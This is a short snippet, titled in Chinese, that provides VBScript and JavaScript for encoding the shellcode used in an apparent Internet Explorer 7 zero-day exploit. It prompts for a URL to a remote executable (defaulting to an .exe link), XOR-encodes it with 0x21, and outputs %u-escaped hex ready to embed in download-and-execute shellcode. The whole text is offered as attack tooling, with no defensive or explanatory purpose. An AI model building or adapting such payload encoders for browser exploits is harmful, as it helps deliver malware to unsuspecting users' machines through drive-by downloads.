ie7 0day当中的shellcode的escape+xor21加密

<SCRIPT LANGUAGE="VBSCRIPT">
Function Encode(s,n)
Dim b
b=UCase(s)
For i=1 To Len(b)
Encode=Encode&Chrw((Asc(Mid(b,i,1)) Xor n))
Next
End Function
</script>
<script language="javascript">
myrand=window.prompt("url:","http://www.sohu.com/1.exe");
strVariable = (Encode(myrand,0x21)).toUpperCase( )
function gen(url)
{
var i=0,l=0,k=0,curl="";
l= url.length;
for(;i<l;i++){
k=url.charCodeAt(i);
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
if (l%2){curl+="00";}else{curl+="0000";}
curl=curl.replace(/(..)(..)/g,"%u$2$1");
return curl;
}
document.write(gen(strVariable));
</script>